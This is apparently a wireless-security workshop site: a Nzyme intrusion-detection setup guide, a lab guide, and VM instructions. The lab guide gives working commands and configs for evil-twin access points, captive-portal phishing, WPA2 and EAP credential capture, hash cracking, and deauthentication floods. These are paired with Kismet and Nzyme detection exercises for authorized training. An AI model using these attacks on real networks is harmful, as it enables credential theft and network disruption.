wifight.club

Nzyme Setup Guide

2026-07-06T00:00:00Z

This guide walks through setting up both the Nzyme Node and Nzyme TAP on Debian 12 (Bookworm).

Note

This guide was written for Debian 12 Bookworm but also works on Raspberry Pi OS 12 (Bookworm).

Nzyme Node Setup

Install Debian

Download the Debian 12 Bookworm ISO:

https://cdimage.debian.org/cdimage/archive/12.10.0/arm64/iso-cd/

Once the operating system is installed, update the system and install the required packages.

sudo apt update && sudo apt install -y openjdk-17-jre-headless postgresql-15

Download the Nzyme Node package:

wget https://github.com/nzymedefense/nzyme/releases/download/2.0.0-alpha.17/nzyme-node_rpios-12bookworm-noarch-2.0.0-alpha.17.deb

Install it:

sudo dpkg -i nzyme-node_rpios-12bookworm-noarch-2.0.0-alpha.17.deb

Configure PostgreSQL

Launch the PostgreSQL shell:

sudo -u postgres psql

Run the following commands:

CREATE DATABASE nzyme;
CREATE USER nzyme WITH ENCRYPTED PASSWORD 'YOUR_PASSWORD_HERE';
GRANT ALL PRIVILEGES ON DATABASE nzyme TO nzyme;
\c nzyme
GRANT CREATE ON SCHEMA public TO nzyme;
\q

Configure the Node

Determine the IP address of the system we are hosting the node on:

ip a

Open the configuration file:

sudo nano /etc/nzyme/nzyme.conf

Update the following values:

PostgreSQL password
rest_listen_uri and http_external_uri with the IP address from ip a

Save and exit the file using CTRL + X then Y

Initialize the Database

Run the database migration:

sudo nzyme --migrate-database

Start the Node and Enable it as a Service

Enable the service:

sudo systemctl enable nzyme

Start it:

sudo systemctl start nzyme

Verify it is running:

sudo systemctl status nzyme

Access the Web Interface

After a few minutes the web interface should become available.

Connect to the Web Interface:

https://<NODE_IP>:22900

Create an administrator account.

The email address does not need to be a real email address.

Once inside the web ui, you should see the landing page.

Create a TAP

From the web interface:

Expand System and Open TAPs
Click Add TAP
Give the TAP a name and description
Open the newly created TAP
Copy the TAP Secret You will need this secret later when configuring the TAP.

Nzyme TAP Setup

For this lab, the TAP is installed on the same system as the Node.

Note

TAPs can also be installed on additional systems (such as Raspberry Pis) to increase wireless coverage.

Download the TAP package:

wget https://github.com/nzymedefense/nzyme/releases/download/2.0.0-alpha.17/nzyme-tap_rpios-12bookworm-arm64-2.0.0-alpha.17.deb

Install it:

sudo dpkg -i nzyme-tap_rpios-12bookworm-arm64-2.0.0-alpha.17.deb

Configure the TAP

Open the configuration file:

sudo nano /etc/nzyme/nzyme-tap.conf

Update the following fields:

Setting	Value
`leader_secret`	TAP Secret copied from the web interface
`leader_uri`	IP address of the Node
`accept_insecure_certs`	`true`

Why set accept_insecure_certs to true?

Nzyme uses HTTPS with a self-signed certificate by default. Unless you replace it with a trusted certificate, this setting should remain enabled in lab environments.

The configuration should look like the picture below once you input all the required information.

Save and exit the file using CTRL + X then Y

Configure Ethernet

Determine the interface information:

ip a

You will need:

Interface name
CIDR subnet

Open the configuration again:

sudo nano /etc/nzyme/nzyme-tap.conf

Update the Ethernet section using data from ip a:

ethernet_interfaces.<interface_name>
CIDR
DNS servers
injection_interface

For this lab, the injection interface should normally be the same as the Ethernet interface.

Save the configuration.

Configure the Wireless Interface

List wireless devices:

iw dev

Record:

Wireless interface name
PHY number

Example:

Interface wlan0
phy#2

Check the capabilities of the adapter:

iw phy phy# info

Replace phy# with the PHY number reported by iw dev.

Verify which frequency bands the adapter supports:

the output is large and you will need to scroll through it.

2.4 GHz
5 GHz
6 GHz

Configure Regulatory Domain (Region)

Check the current regulatory domain (Region):

iw reg get

For this guide, set it to the United States:

sudo iw reg set US

Configure Wi-Fi Monitoring

Edit the TAP configuration:

sudo nano /etc/nzyme/nzyme-tap.conf

Locate the wifi_interfaces section.

Update the interface name to match the output from iw dev.

Examples:

wifi_interfaces.wlan0

wifi_interfaces.wlx00c0cab56641

Using a Single Wireless Adapter

If only one adapter is installed:

Set the unused interface to:

active = false

or comment out the unused interface entirely.

Copy the full channel list into the interface you are using.

Important

Verify that every configured channel is legal in your regulatory domain. Some 5 GHz channels available in other countries are not permitted in the United States.

Save the configuration.

Start the TAP

Enable the service:

sudo systemctl enable nzyme-tap

Start it:

sudo systemctl start nzyme-tap

Verify that it is running:

sudo systemctl status nzyme-tap

Verify Operation

Return to the Nzyme web interface.

If everything is configured correctly, the TAP should appear as connected and begin reporting wireless activity.

Command Round Up

Show IP Configuration

ip a

Show Wireless Interfaces

iw dev

Show Wireless Capabilities

iw phy phy2 info

Show Regulatory Domain

iw reg get

Set Regulatory Domain

sudo iw reg set US

Configuration Files

Node configuration:

/etc/nzyme/nzyme.conf

TAP configuration:

/etc/nzyme/nzyme-tap.conf

Services

Node:

sudo systemctl status nzyme

Restart:

sudo systemctl restart nzyme

TAP:

sudo systemctl status nzyme-tap

Restart:

sudo systemctl restart nzyme-tap

Workshop Lab Guide

2026-07-05T00:00:00Z

Do not use the stuff in this guide to do bad things. This information is provided for educational purposes only. Only test against networks you own or you have explicit permission to test against.

If you want to set up a VM on your own, all the tools used in the workshop are listed below.

For recon practice, use your home network.

For Evil Twin testing, you can add a network to your phone. You can add pretty much any type of network to test against. Just make sure you delete it once you are done.

Lab 0: Linux-FU

Task:

Troubleshooting commands

# Common Troubleshooting and Linux Commands
lsusb
iwconfig
iw dev
iw dev wlan# info
iw phy phy# info
iw list 
nmcli device status
rfkill
airmon-ng check kill

# Region
iw reg get
iw reg set US
iw wlan# scan

# Monitor Mode
airmon-ng 
airmon-ng start wlan#

ifconfig wlan# down
iwconfig wlan# mode monitor
ifconfig wlan# up

ip link set wlan# down
iw dev wlan# interface add wlan0mon type monitor
iw dev wlan# set channel #
ip link wlan#mon up
iw dev wlan#mon info

Lab 1: Open AP

Task:

Use airodump-ng or kismet to conduct recon of the in-scope SSIDs
Create an open Evil Twin that is not providing Internet
Create an OWE rogue AP

Tools: Airmon-ng, Airodump-ng, Kismet, Hostapd, Eaphammer, Airbase-ng

Solution - Task 1

SSID

Sweet-B#.#

Airmon-ng

Put your card into monitor mode

airmon-ng start wlan#

Airodump-ng

Scan for the in-scope SSIDs

airodump-ng --band abg wlan#mon

Identify the channel, BSSID, and security suite used by the in-scope SSIDs. Press the space bar to pause the output, which makes it easier to copy.

Press the 'a' button to filter the stdout display.

Run airodump-ng again with the information from above to lock in on our in-scope networks and write the output to a file for further analysis with Wireshark.

airodump-ng -c# wlan#mon --bssid <BSSID> -w <file.pcap> --output-format pcap

Kismet

Kismet will run in the terminal, but the main interface can be accessed from a web browser of your choice. You can run kismet without any arguments and it outputs a kismetdb file. Run it with a -t to give it a specific file name. -c lets you specify the interface on the command line. You don't have to specify the interface on the command line; you can also select it in the GUI.

kismet
kismet -t <filename> 
kismet -c wlan#

In a web browser, navigate to http://localhost:2501. The first-time setup will ask you to configure a username and password.

Once in the GUI, click on the hamburger menu in the top left corner. Select Data Sources -> Select your Card -> Enable

Convert kismet file to pcap:

kismetdb_to_pcap -i <filename> -o <filename.pcap>

Wireshark

Open the file you just created in Wireshark.

wireshark -r <file.pcap>

To view all traffic from one BSSID: wlan.bssid== <BSSID>

To view all traffic from one SSID: wlan.ssid=="<ID>"

For more filters for further recon, reference the "wireshark-802.11-filters-reference_sheet.pdf" provided with the workshop materials.

Solution - Task 2

Hostapd

SSID

Sweet-B#.#

Create a configuration file:

# Create the file 
nano open.conf 

# Enter the following contents (making sure to update the interface number e.g. wlan0 or wlan1):
interface=wlan# 
ssid=<SSID>
hw_mode=b
channel=6
beacon_int=100
country_code=US

Execute the config file with hostapd or hostapd-mana:

hostapd open.conf 

hostapd-mana open.conf

Eaphammer

sudo eaphammer --interface wlan# --essid <SSID> --channel 6 --auth open

Airbase-ng

sudo airbase-ng -e <SSID> -c 10 wlan#

Solution - Task 3

SSID

Sweet-B#.#

Eaphammer

sudo eaphammer --interface wlan# --auth owe --essid <SSID> --pmf enable

Lab 2: Wifiphisher / Captive Portal

Task:

Create a captive portal using wifiphisher
Create a captive portal using wifipumpkin3 (At Home)
Pick a webpage to copy (At Home)

Tools: Wifiphisher, Wifipumpkin3, Wget, Pywebcopy

Solution - Task 1

SSID

Sweet-B#.#

Wifiphisher

Interactive mode:

wifiphisher

All-in-one command. When adding a phishing page, you will need to add it to /usr/lib/python3/dist-packages/wifiphisher/data/phishing-pages/. Then you will need to reinstall wifiphisher.

sudo wifiphisher -aI wlan# -iAM <BSSID mac> -nD -nE -e <SSID> -p starbucks-login

Solution - Task 2

Wifipumpkin3

Wifipumpkin requires an interface that provides internet or it will be problematic. There are some issues with wifipumpkin if you have multiple interfaces up. Try to limit it to one wireless adapter and the interface providing the internet.

ip link set wlan# down

Interactive mode:

wp3

Next, set up the AP. Please note that 5GHz channels will break your setup. ap will show you the properties of the AP. set ssid <SSID> set interface wlan# set channel # set security false

For the captive portals, wp3 calls them captiveflask. First, make sure the captiveflask module is enabled. proxies

If it is not enabled, enable it with: set proxy captiveflask

Assign it a portal to use; there is a list to look through. set captiveflask.DarkLogin true

If you need to fix any IP issues, your rogue AP should not be using the same IP as any other interface or the redirect to the captive portal will fail: dhcpconf

To change, use: dhcpconf #

Now we just need to: start

Solution - Task 3

Wget

wget -r -l2 <website>

Pywebcopy

sudo python3 -m pywebcopy --page --url=<url>

Lab 3: WPA/WPA2 Evil Twin

Task:

Use airodump-ng to conduct recon of the in-scope SSIDs
Create an Evil Twin for a WPA2 network

Tools: Airmon-ng, Airodump-ng, Eaphammer, Hostapd-mana, Airbase-ng, Berate_ap

Solution - Task 1

SSID

Sweet-B-IOT#.#

Airmon-ng

Put your card into monitor mode

airmon-ng start wlan#

Airodump-ng

Scan for the in-scope SSIDs

airodump-ng --band abg wlan#mon

Identify the channel, BSSID, and security suite used by the in-scope SSIDs. Press the space bar to pause the output, which makes it easier to copy.

Run airodump-ng again with the information from above to lock in on our in-scope networks and write the output to a file for further analysis with Wireshark.

airodump-ng -c# wlan#mon --bssid <BSSID> -w <file.pcap> --output-format pcap

Wireshark

Open the file you just created in Wireshark.

wireshark -r <file.pcap>

To view all traffic from one BSSID: wlan.bssid== <BSSID>

To view all traffic from one SSID: wlan.ssid=="<ID>"

To view EAP messages: eap

For more filters for further recon, reference the "wireshark-802.11-filters-reference_sheet.pdf" provided with the workshop materials.

Solution - Task 2

SSID

Sweet-B-IOT#.#

Eaphammer

sudo eaphammer --interface wlan# -c 6 --auth wpa-psk -e <SSID> --creds

Airbase

First, put the card in monitor mode:

airmon-ng start wlan#
airbase-ng -c 9 -e <SSID> -Z 4 wlan#mon
airodump-ng -c 9 wlan#mon --essid <SSID> -w handshakecapture

Berate_ap

To get berate_ap to work, you will need to open /usr/bin/berate_ap and add a # to the front of line 1855.

nano -l /usr/bin/berate_ap

sudo berate_ap -n wlan# <SSID> <randopassword> --mana-wpa --mana-wpaout <file.hccapx>

Hostapd-Mana

Create a file twin.conf. It doesn't matter what password we use in wpa_passphrase.

# the basic stuff 
interface=wlan#
hw_mode=g 
channel=3 
country_code=US 
ssid=<SSID>
ignore_broadcast_ssid=0 
beacon_int=100

# authentication and security 
wpa=3 
wpa_passphrase=<randopassword> 
wpa_key_mgmt=WPA-PSK 
wpa_pairwise=TKIP CCMP 
rsn_pairwise=CCMP 
auth_algs=1 
macaddr_acl=0 

# Mana stuff 
mana_wpaout=creds.hccapx

Execute the file:

sudo hostapd-mana twin.conf

Lab 4: WPA2 Hash Cracking

Task:

Crack the hashes from Lab 3: WPA/WPA2

Hashes:

# COPY OF HASHES HERE

Tools: Hashcat, Aircrack-ng, John

Wordlists: In your VM:

# Extract the rockyou dict
tar -xvf /home/rogue1/opt/rockyou.tar.gz 

# Extract only words longer than 8 characters
cat /home/rogue1/opt/rockyou.txt | grep '[^ ]\{8\}' > rockyou8Plus.txt

# For a shortcut, download the WIFIGHT-WORDS.rtf file from the Google Drive

Solution - Task 1

Hashcat

Your tools output the old hash format that is no longer supported by Hashcat :'(. The 2500 hash mode is deprecated; now we need to use 22000 to run hashcat. There is a Python script in /home/rogue1/opt/hash/cvt.py that will allow us to convert it.

Once you have converted the hashes, you can go ahead and crack them:

hashcat -m 22000 creds.hccapx <wordlist>

Another method to convert to the correct hashcat format

Once you have the .hccapx file, run:

hcxhash2cap --hccapx=creds.hccapx -c handshake.pcap

Then:

hcxpcapngtool handshake.pcap -o hash.22000

And finally:

hashcat -m 22000 creds.hccapx <wordlist>

Aircrack-ng

Aircrack still works on the legacy -m 2500 formatting, so you don't need to do a conversion unless you plan on popping it into a more powerful cracking utility like hashcat.

aircrack-ng creds.hccapx -e <SSID> -w <wordlist>

John

You can use john like hashcat, or just use its wordlist rules to mangle your dictionary and feed that into aircrack.

john --wordlist=<wordlist> --rules --stdout | aircrack-ng -e <SSID> -w - creds.hccapx

Lab 5: EAP Evil Twin

Task:

Use airodump-ng to conduct recon of the in-scope SSIDs
Create a Rogue AP for an EAP network

Tools: Airmon-ng, Airodump-ng, Eaphammer, Hostapd-mana, extract_cert.sh

Solution - Task 1

SSID

Sweet-B-Secure#.#

Airmon-ng

Put your card into monitor mode

airmon-ng start wlan#

Airodump-ng

Scan for the in-scope SSIDs

airodump-ng --band abg wlan#mon

Identify the channel, BSSID, and security suite used by the in-scope SSIDs. Press the space bar to pause the output, which makes it easier to copy.

Run airodump-ng again with the information from above to lock in on our in-scope networks and write the output to a file for further analysis with Wireshark.

airodump-ng -c# wlan#mon --bssid <BSSID> -w <file.pcap> --output-format pcap

Wireshark

Open the file you just created in Wireshark.

wireshark -r <file.pcap>

To view all traffic from one BSSID: wlan.bssid== <BSSID>

To view all traffic from one SSID: wlan.ssid=="<ID>"

To view EAP messages: eap eap.identity eap.type

To view EAP Server Cert: tls.handshake.type == 11

For more filters for further recon, reference the "wireshark-802.11-filters-reference_sheet.pdf" provided with the workshop materials.

Solution - Task 2

First, you must extract a copy of the client's certificate, because we will be using this for spoofing.

./extract_cert.sh -r <pcap>

Eaphammer

Create a certificate in Eaphammer and then execute the Rogue AP. You will use the values you extracted with extract_cert.sh to populate the questions in Eaphammer's cert wizard.

# Create the certificate
eaphammer --cert-wizard

# Execute Eaphammer using the new cert
cd certs
sudo eaphammer --interface wlan# --negotiate balanced --auth wpa-eap --bssid <BSSID> --essid <SSID>

Hostapd-Mana

Create the eap_user file (you probably want to type this out because spacing can be problematic):

nano hostapd.eap.user

# Phase 1 (outer authentication)
*      PEAP,TTLS,TLS,FAST
"t"    GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5   "t"  [2]

Create the Hostapd-Mana file rogueMana.conf:

# the basic stuff 
interface=wlan#
hw_mode=g 
channel=3 
country_code=US 
ssid=<SSID>
ignore_broadcast_ssid=0 
beacon_int=100 

# authentication and security 
wpa=3 
#wpa_passphrase=password1 
wpa_key_mgmt=WPA-EAP 
wpa_pairwise=TKIP CCMP 
#rsn_pairwise=CCMP 
auth_algs=3 
macaddr_acl=0 

# EAP 
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
server_cert=eaphammer/certs/active/fullchain.pem
private_key=eaphammer/certs/active/fullchain.pem
dh_file=eaphammer/certs/dh

# mana stuff 
#mana_wpaout=test.hccapx
mana_wpe=1
mana_eapsuccess=1
mana_credout=hostapd.creds

Execute the file:

sudo hostapd-mana rogueMana.conf

Lab 6: EAP Hash Cracking

Task:

Crack the hashes from Lab 5: EAP Rogue AP

Tools: Asleap, Hashcat, John

Wordlists: In your VM:

ls /usr/share/wordlists
/home/rogue1/opt/rockyou.txt

For a shortcut, download WIFIGHT-WORDS.rtf from the Google Drive and use that.

Solution - Task 1

Asleap

asleap -C <challenge> -R <response> -W <wordlist>

Hashcat

hashcat -m 5500 -a 0 <hashwiththeusername / file> <wordlist>

John

john --format=netntlm <filewithhash> --wordlist=<wordlist>

Lab 7: Kismet Detections (at home)

Task:

Set up detections on your home network
Set up an evil twin to see the detection
Deauthenticate a client to see the alert

Tools: Kismet, Eaphammer, Airmon-ng, Airodump-ng, Aireplay-ng

Solution - Task 1

To fully run this Lab you will need two wireless cards. Get your home network's BSSID (MAC address) using kismet or airodump-ng.

sudo airmon-ng start wlan#
sudo airodump-ng --band abg wlan#mon

Update the kismet alerts file with your home BSSID:

sudo nano /etc/kismet/kismet_alerts.conf
apspoof=Foo1:ssid="Foobar",validmacs="00:11:22:33:44:55,aa:bb:cc:dd:ee:ff"
apspoof=Foo2:ssid="(?i:foobar)",validmacs="00:11:22:33:44:55"

Monitor the network!

Solution - Task 2

You can use the steps from Lab 1, 3, or 5 to set up your evil twin with your home network SSID.

Solution - Task 3

Deauthentication Flood

aireplay-ng -0 7 -a <BSSID> -c <Station> wlan#mon

Lab 8: Nzyme Setup (at home)

Task:

Set up Nzyme to monitor your home network

Tools: Nzyme

Solution - Task 1

Set up Nzyme and identify your home network as the one to monitor.

Log into Nzyme. Then, on the left-hand side, there are different menu tabs. Go to WiFi -> Monitoring

Once you start typing in the SSID field, Nzyme will suggest an available SSID from what it can see. Nzyme Network Monitoring

Now you can redo the Evil Twin attacks and deauthentication attacks against your network.

Getting Started with the VM

2026-07-04T00:00:00Z

Download the VM

Grab the workshop virtual machine for your hypervisor:

Ensure you have VMware, Virtual Box, or Qemu installed on your system.

Oracle Virtual Box

Save the zip file to your drive
Unzip
Create a new VM
Name the VM
Point the VM Folder to the folder you just extracted
Select the OS Distribution, Debian
Expand the Specify virtual hard disk
Select Use an Existing Virtual Hard Disk File, click on the file icon to the right. Click on add and select the .vdi file.
Click Finish and once it is done you will see the VM in the panel on the left.
Go to the VM settings -> USB. Ensure the USB Controller is enabled and makes sure USB 3.0 (xHCI) Controller is checked.
Click start .
Username kali, password kali
Navigate to Devices -> USB -> Select you wifi card, It will be listed by the driver
If step 12 doesn't work poweroff the VM. Go to the VM settings -> USB and add a USB Device Filter. Make sure your Wi-Fi card is plugged in. Click on the USB icon on the right side with a green +.
Start the VM again.
Once you are logged in and the Wi-Fi card is connected to the VM Guest. Open a terminal and run:

iw dev

the card should show up as wlan0

Vmware

Save the zip file to your drive.
Unzip
Open Vmware and click on in the home tab Open a Virtual Machine Navigate to the folder you unzipped and select the .vmx file
Before you start the VM, go to VM settings. Under the Hardware tab select USB Controller change the USB compatibility to USB 3.1
Start your VM.
Username kali, password kali
Connect your Wi-Fi card. It should prompt you to select where the USB device is going.
If you are not prompted to select where the card goes. Right Click on the VM tab at the top and click on the Removeable Devices and select the Wi-Fi Card.
Once you are logged in and the Wi-Fi card is connected to the VM Guest. Open a terminal and run:

iw dev

the card should show up as wlan0

QEMU

If you scrolled this far you know how to virtualize like a g and that linux already has that virtualization goodness built in. Continue with the following steps while feeling superior to those vmware/vbox users before you.
Unzip the VM
These steps assume you're using virt-manager, if you're on the CLI you don't need me
File -> New Virtual Machine

Select disk image then select Choose Volume

Choose "Debian 13" under the choose operating system

Select ram/cpu count
Username and password is kali:kali
From menu bar select Virtual Machine -> Redirect USB Device, then select your USB wifi adapter

Confirm the card is available with:

lsusb
iw dev

Hack